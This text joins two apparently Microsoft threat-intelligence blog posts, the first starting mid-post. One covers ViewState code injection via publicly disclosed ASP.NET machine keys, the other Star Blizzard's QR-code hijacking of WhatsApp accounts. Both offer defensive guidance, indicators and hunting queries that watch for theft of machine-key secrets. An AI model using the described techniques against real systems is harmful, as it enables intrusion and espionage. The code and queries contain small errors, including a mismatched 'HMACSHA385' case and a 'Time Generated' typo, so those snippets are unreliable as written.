In December 2024, an unattributed threat actor conducted a ViewState code injection attack leveraging a publicly known machine key. The malicious ViewState payload reflectively loaded assembly.dll (SHA-256: 19d87910d1a7ad9632161fd9dd6a54c8a059a64fc5f5a41cf5055cd37ec0499d), a Godzilla post-exploitation framework, followed by plugin modules. Godzilla’s functionality includes executing malicious commands, injecting shellcode into processes, and more.

Recommendations

Microsoft Defender for Endpoint customers can identify publicly disclosed keys in their environment based on the presence of the alert Publicly disclosed ASP.NET machine key. This alert is for informational purposes and is not indicative of attack activity. Additionally, Microsoft has provided a list of hash values for identified publicly disclosed machine keys in our Github repository and recommends checking machine keys in your environment using the provided script.

If publicly disclosed keys are identified in your environment, Microsoft recommends the following actions, depending on your scenario:

• If you are running an ASP.NET web application on .NET Framework and this is not part of Exchange Server or SharePoint, review the following potential setups:
  • You have set fixed key values using the <machineKey> element of the web.config to align the encryption/decryption of ViewState values within multiple servers that are part of a web farm. This configuration assumes you have multiple web servers hosting the same instance of a web application to distribute load among them, and that requests that were originally served from one server in the farm could trigger POST requests to another server of the same farm.
    • In this case, you will need to rotate the values of your machine keys in all servers of the farm, either by using the IIS manager console or PowerShell (see details below). Ensure that you use the same newly generated values on all servers in the farm.
  • You have set fixed key values using the <machineKey> element for a single server that is running your ASP.NET web application. In this scenario, removing the <machineKey> element from the configuration will revert the application to the auto-generated values for the ASP.NET machine keys that are stored inside your computer’s registry.
    • See the below details on how the <machineKey> element can be removed by editing the web.config configuration file or using the IIS manager console.
• If you are using SharePoint or Exchange web applications, SharePoint uses its own key management system, which allows the keys to be rotated as described in this article.

Follow the steps below for removing or replacing the ASP.NET machine key values in the web.config configuration file using either the IIS manager console or PowerShell.

Using the IIS manager console:

1. From the IIS manager console, select the website or web application that contains the fixed key values in the web.config configuration file.
2. From the middle pane of the IIS manager console, select the Machine Key element icon.
3. To create new machine key values, select the Generate Keys button on the right-hand side of the console, which will populate new values for Validation and Decryption key textboxes.
4. Once the new values are populated, select the Apply button from the right-hand side pane to persist the new values into the web.config file for the target website or web application.
5. To remove the fixed keys and rely on the auto-generated machine key values for ASP.NET, select the Automatically generate at runtime checkboxes for both the Validation and Decryption keys. This will render the two text fields for these values disabled.
6. Proceed to select the Apply button on the right-hand side of the console, which will remove the <machineKey> element from the web.config file of the website or web application.

Using PowerShell:

• Using PowerShell, create a .ps1 file (for example, GenerateKeys.ps1) with the following content:

function Generate-MachineKey {
  [CmdletBinding()]
  param (
    [ValidateSet("AES", "DES", "3DES")]
    [string]$decryptionAlgorithm = 'AES',
    [ValidateSet("MD5", "SHA1", "HMACSHA256", "HMACSHA384", "HMACSHA512")]
    [string]$validationAlgorithm = 'HMACSHA256'
  )
  process {
    function BinaryToHex {
        [CmdLetBinding()]
        param($bytes)
        process {
            $builder = new-object System.Text.StringBuilder
            foreach ($b in $bytes) {
              $builder = $builder.AppendFormat([System.Globalization.CultureInfo]::InvariantCulture, "{0:X2}", $b)
            }
            $builder
        }
    }
    switch ($decryptionAlgorithm) {
      "AES" { $decryptionObject = new-object System.Security.Cryptography.AesCryptoServiceProvider }
      "DES" { $decryptionObject = new-object System.Security.Cryptography.DESCryptoServiceProvider }
      "3DES" { $decryptionObject = new-object System.Security.Cryptography.TripleDESCryptoServiceProvider }
    }
    $decryptionObject.GenerateKey()
    $decryptionKey = BinaryToHex($decryptionObject.Key)
    $decryptionObject.Dispose()
    switch ($validationAlgorithm) {
      "MD5" { $validationObject = new-object System.Security.Cryptography.HMACMD5 }
      "SHA1" { $validationObject = new-object System.Security.Cryptography.HMACSHA1 }
      "HMACSHA256" { $validationObject = new-object System.Security.Cryptography.HMACSHA256 }
      "HMACSHA385" { $validationObject = new-object System.Security.Cryptography.HMACSHA384 }
      "HMACSHA512" { $validationObject = new-object System.Security.Cryptography.HMACSHA512 }
    }
    $validationKey = BinaryToHex($validationObject.Key)
    $validationObject.Dispose()
    [string]::Format([System.Globalization.CultureInfo]::InvariantCulture,
      "<machineKey decryption=`"{0}`" decryptionKey=`"{1}`" validation=`"{2}`" validationKey=`"{3}`" />",
      $decryptionAlgorithm.ToUpperInvariant(), $decryptionKey,
      $validationAlgorithm.ToUpperInvariant(), $validationKey)
  }
} 

• Using a Windows PowerShell command prompt, navigate to the location containing your .ps1 file. Load the .ps1 file (for example, GenerateKeys.ps1) by executing the following command:

..\GenerateKeys.ps1

• Call the function within the script file by executing the following command:

Generate-MachineKey

• Copy the resulting <machineKey> element to the web.config file of your website or web application, replacing the existing one.

NOTE: If successful exploitation of publicly disclosed keys has occurred, rotating machine keys will not sufficiently address possible backdoors or persistence methods established by a threat actor or other post-exploitation activity, and additional investigation may be warranted. In particular, web-facing servers should be fully investigated and strongly considered for re-formatting and re-installation in an offline medium in cases where publicly disclosed keys have been identified, as these servers are most at risk of possible exploitation.

Microsoft also recommends the following best practices for securing machine keys and web servers:

• Follow secure DevOps standards and securely generate machine keys. Avoid using default keys or keys listed in public resources.
• At deployment, encrypt sensitive information like the machineKey and connectionStrings elements in web.config. This prevents these secrets from ever existing in plaintext on the file system, inhibiting an attacker’s ability to read these secrets at all.
• Upgrade your application to use ASP.NET 4.8 to enable Antimalware Scan Interface (AMSI) capabilities.
• Harden Windows Servers instances by using attack surface reduction rules such as Block Webshell creation for Servers. Attack surface reduction rules are sweeping settings that are effective at stopping entire classes of threats.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects post-exploitation activity such as delivery of the Godzilla framework with the following components as the following malware. Note, however, that these alerts can also be triggered by unrelated threat activity and are not necessarily indicative of ViewState code injection attacks:

• Backdoor:MSIL/GodZillaMod.A
• Trojan:Win32/WebShellTerminal 
• Backdoor:MSIL/Godzela

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alert indicates the presence of publicly disclosed machine keys but are not indicative of exploitation activity. To get this alert, you must be running Microsoft Defender Antivirus as your active antivirus. Customers who receive this alert should review our steps for rotating or removing machine keys in the Recommendations section.

• Publicly disclosed ASP.NET machine key

The following alert might also indicate threat activity such as code injection attacks. Note, however, that this alert can be also triggered by unrelated threat activity.

• IIS worker process loaded suspicious .NET assembly

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Hunting queries

Microsoft recommends monitoring configuration files and configurable locations using the following audit policy settings, which will enable the logging of Event ID 4663 in the Windows Security Event Log. Before setting up auditing, note that:

• There are different scopes to configuration settings as some have a global scope and some are effective only to the scope of the application, the root web.config file, or the machine.config file. Each scope has the potential to have the <machineKey> section declared, possibly containing secrets.
• The scope of a configuration section is defined in the allowDefinition attribute of the section Element for configSections (General Settings Schema) element in the machine.config file for all sections that are included with ASP.NET. The scope of a configuration setting is listed for each element in ASP.NET Configuration Settings and General Configuration Settings (ASP.NET), in the Element Information table next to Configurable Locations.
• In configurations where it is specified to auto-generate keys at runtime, keys are stored in the application pool identity registry hive.
• It is important to understand that these locations also may be called through the Volume Shadow Copy Service.

Monitor access to ASP.NET configuration files by configuring Advanced Audit Policy settings:

1. Open the Group Policy Management Console from Server Manager > Tools > Group Policy Management.
2. Open a GPO that will apply policy to the ASP.NET application or web server.
3. From the window that opens, go to Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Audit Policy > Audit object level access.
   • Define these policy settings: Checked
   • Success: Checked
   • Failure: Optional

After enabling Audit object access, enable auditing on individual files through the Security Tab on file properties to audit sensitive configuration files:

1. Locate your web.config or other configuration file of concern and open the Security Tab and select the Advanced button.
2. Select the Auditing tab and Add a new rule.
3. Select a principal and resolve the principal Everyone. Select the Read checkbox at minimum.
4. Save your changes by clicking Ok, Ok, Ok.

After Audit object access is configured, and Auditing has been turned on for specific files, alerts can be viewed using Event ID 4663 in the Windows Security Event Log. Information includes SubjectUserName accessing the file, and the ProcessId and ProcessName. Seeing a username or process that is not the IIS Application Pool service account or the w3wp.exe process could be a sign of tampering and attempt to compromise a machine key.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Additionally, once auditing is enabled for specific configuration files that may contain machine keys, Sentinel customers can leverage the SecurityEvent table to analyze collected Event ID 4663 and identify potential anomalies and unauthorized or suspicious file access attempts. To begin the threat hunting process, the following query can be used as a starting point:

SecurityEvent 
| where TimeGenerated > ago(1d)
| where EventID == 4663 
| where ObjectName contains "web.config"  or ObjectName contains "machine.config"
| summarize StartTime = max(Time Generated), EndTime = min(TimeGenerated), count() by EventID, Account, Computer, Process, SubjectUserName, SubjectDomainName, ObjectName, ObjectType, ProcessName, ProcessId, AccountType, AccessMask

Some of the key information captured in the result includes the SubjectUserName, which identifies the user accessing the file, along with the associated ProcessId and ProcessName. Observing a username or process other than the expected IIS Application Pool service account or the standard w3wp.exe process may signal potential tampering or an attempt to compromise the machine key.

Indicators of compromise

Microsoft has provided a list of hash values for identified publicly disclosed machine keys in our Github repository. We recommend using the included script to compare the values against static keys in your environment to determine whether your machine keys have been disclosed in publicly accessible resources, and using the Recommendations listed above to rotate or remove machine keys.

References

• https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Code injection attacks using publicly disclosed ASP.NET machine keys appeared first on Microsoft Security Blog.

In our last blog post about Star Blizzard, we discussed how the threat actor targeted dozens of civil society organizations—journalists, think tanks, and non-governmental organizations (NGOs)—between January 2023 and August 2024 by deploying spear-phishing campaigns to exfiltrate sensitive information and interfere in their activities. Since October 3, 2024, Microsoft and the US Department of Justice have seized or taken down more than 180 websites related to that activity. While this coordinated action had a short-term impact on Star Blizzard’s phishing operations, we noted at the time that after this threat actor’s active infrastructure was exposed, they swiftly transitioned to new domains to continue their operations, indicating that the threat actor is highly resilient to operational disruptions.

We assess the threat actor’s shift to compromising WhatsApp accounts is likely in response to the exposure of their TTPs by Microsoft Threat Intelligence and other organizations, including national cybersecurity agencies. While this campaign appears to have wound down at the end of November, we are highlighting the new shift as a sign that the threat actor could be seeking to change its TTPs in order to evade detection.

As part of our continuous monitoring, analysis, and reporting on the threat landscape, we are sharing our information on Star Blizzard’s latest activity to raise awareness of this threat actor’s shift in tradecraft and to educate organizations on how to harden their attack surfaces against this and similar activity. We also directly notify customers who have been targeted or compromised, providing them with the necessary information to help secure their environments.

Targeting WhatsApp account data

Star Blizzard’s new spear-phishing campaign, while novel in that it uses and targets WhatsApp for the first time, exhibits familiar spear-phishing TTPs for Star Blizzard, with the threat actor initiating email contact with their targets, to engage them, before sending them a second message containing a malicious link. The sender address used by the threat actor in this campaign impersonates a US government official, continuing Star Blizzard’s practice of impersonating known political/diplomatic figures, to further ensure target engagement. The initial email sent to targets contains a quick response (QR) code purporting to direct users to join a WhatsApp group on “the latest non-governmental initiatives aimed at supporting Ukraine NGOs.” This code, however, is intentionally broken and will not direct the user towards any valid domain; this is an effort to coax the target recipient into responding.

When the recipient responds, Star Blizzard sends a second email containing a Safe Links-wrapped t[.]ly shortened link as the alternative link to join the WhatsApp group.

When this link is followed, the target is redirected to a webpage asking them to scan a QR code to join the group. However, this QR code is actually used by WhatsApp to connect an account to a linked device and/or the WhatsApp Web portal. This means that if the target follows the instructions on this page, the threat actor can gain access to the messages in their WhatsApp account and have the capability to exfiltrate this data using existing browser plugins, which are designed for exporting WhatsApp messages from an account accessed via WhatsApp Web.

While this campaign was limited and appeared to have terminated at the end of November, it nevertheless marked a break in long-standing Star Blizzard TTPs and highlighted the threat actor’s tenacity in continuing spear-phishing campaigns to gain access to sensitive information even in the face of repeated degradations of their operations.

Microsoft Threat Intelligence recommends that all email users belonging to sectors that Star Blizzard typically targets always remain vigilant when dealing with email, especially emails containing links to external resources. These targets are most commonly related to:

• Government or diplomacy (incumbent and former position holders)
• Research into defense policy or international relations when related to Russia
• Assistance to Ukraine related to the ongoing conflict with Russia

When in doubt, contact the person you think is sending the email using a known and previously used email address to verify that the email was indeed sent by them.

Mitigations

To harden networks against the Star Blizzard activity listed above, defenders can implement the following:

• Implement Microsoft Defender for Endpoint on Android and iOS, which includes anti-phishing capabilities that also apply to QR code phishing attacks, blocking phishing sites from being accessed. 
• Enable network protection in Microsoft Defender for Endpoint
• Ensure that tamper protection is enabled in Microsoft Dender for Endpoint
• Run endpoint detection and response in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on PUA protection in block mode in Microsoft Defender Antivirus
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.
• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on Safe Links and Safe Attachments for Office 365.
• Use the Attack Simulator in Microsoft Defender for Office 365 to run realistic, yet safe, simulated phishing and password attack campaigns. Utilize the QR code payload in attack simulation training scenarios to mirror Star Blizzard’s and other threat actor’s QR code spear-phishing techniques.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Star Blizzard activity group

Hunting queries

Microsoft Defender XDR

Surface events that may have communicated with the Star Blizzard C2s. 

let domainList = dynamic(["civilstructgeo.org", "aerofluidthermo.org"]);
union
(
    DnsEvents
    | where QueryType has_any(domainList) or Name has_any(domainList)
    | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
    IdentityQueryEvents
    | where QueryTarget has_any(domainList)
    | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
    DeviceNetworkEvents
    | where RemoteUrl has_any(domainList)
    | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
    DeviceNetworkInfo
    | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
    | mv-expand DnsAddresses, ConnectedNetworks
    | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
    | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
    VMConnection
    | extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames)
    | mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames
    | where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList)
    | project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection"
),
(
    W3CIISLog
    | where csHost has_any(domainList) or csReferer has_any(domainList)
    | project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog"
),
(
    EmailUrlInfo
    | where UrlDomain has_any(domainList)
    | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
    UrlClickEvents
    | where Url has_any(domainList)
    | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

While the below queries are not linked to any specific threat actor, they are effective in detecting potential phishing attempts. Implementing these queries can help you stay vigilant and safeguard your organization from phishing attacks

• Delivered Bad Emails from Top bad IPv4 addresses
• Phishing Link Execution Observed
• Successful Signin from Phishing Link
• Suspicious URL Clicked
• Email Delivered to Inbox

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Star Blizzard adopting PDF-less approach to spearphishing
• Star Blizzard spearphishing campaign targets US think tanks
• Disrupting Star Blizzard’s ongoing phishing operations

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a

Learn more

For further information on the threats detailed in this blog post, refer to these additional Microsoft blogs:

• Protecting Democratic Institutions from Cyber Threats
• Star Blizzard increases sophistication and evasion in ongoing attacks
• Disrupting SEABORGIUM’s ongoing phishing operations

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post New Star Blizzard spear-phishing campaign targets WhatsApp accounts appeared first on Microsoft Security Blog.